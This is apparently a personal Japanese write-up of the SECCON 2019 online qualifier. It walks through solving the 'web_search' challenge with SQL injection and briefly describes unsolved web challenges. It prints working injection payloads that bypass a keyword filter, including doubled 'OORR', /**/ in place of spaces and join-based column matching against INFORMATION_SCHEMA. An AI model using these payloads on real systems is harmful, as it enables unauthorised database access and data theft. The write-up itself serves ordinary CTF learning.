SECCON 2019 quals write-up (web_search)

SECCON 2019 オンライン予選に一人チームで参加しました。結果は212点でした。

解いたのは、

  • web_search (web) (212)

でした。

解いた問題

web_search (212)

ひとまず

'

を入れるとエラーになったので色々試しました。その結果、|`'とOR、ANDそしてスペースが消されていることが判明しました。

' OORR (1=1) #

でフラグの前半は入手できました。

後半はflagテーブルにあるらしいので、UNIONしてフラグの出力を試みます。スペースが使えないのは/**/で区切りを代替できるみたいなのでこれを使います。カンマが使えないので列数がいじれないと思ったのですが、joinすることで列数を調整できると分かったので、正解の列数までjoinを繰り返します。

INFORMATION.SHEMAテーブルからflagテーブルの構造を知るために、26カラムまで増やしてそれぞれ試したものの駄目だったので色々確認し直したところ、INFORMATIONにORが入っておりそれが消されていたので失敗していただけでした。

'/**/union/**/select/**/*/**/from/**/(select/**/TABLE_NAME/**/from/**/INFOORRMATION_SCHEMA.COLUMNS/**/where/**/TABLE_NAME/**/=/**/'flag')/**/as/**/a/**/inner/**/join/**/(select/**/COLUMN_NAME/**/from/**/INFOORRMATION_SCHEMA.COLUMNS/**/where/**/TABLE_NAME/**/=/**/'flag')/**/as/**/b/**/inner/**/join/**/(select/**/3)/**/as/**/C/**/#

ORを修正したところ3カラムで成功しました。flagテーブルのpieceに入っているらしいのでそれを出力するようにSQLを書いたところフラグの後半部分が手に入って得点できました。

見たけど解けなかった問題

Option-Cmd-U (190)

IDNまわりでparse_urlをうまく騙すんだろうなと推測して、ググって出てきたものを試したものの駄目でした。

fileserver (345)

ディレクトリトラバーサルだけどどうやって絶対パスにするのか分かりませんでした。

Dir.globのところでヌル文字について見たはずなのに‥‥

SPA (427)

getJSONの所を読むと/で始まるハッシュにすれば外部からJSONを読めるのが分かったものの、特にXSSを仕込めるところが見当たらず、adminのフォームでそのURLを直接渡すのとの違いが分かりませんでした。jQueryのgetJSONのJSONPとして実行する機能は知らなかったので勉強になりました。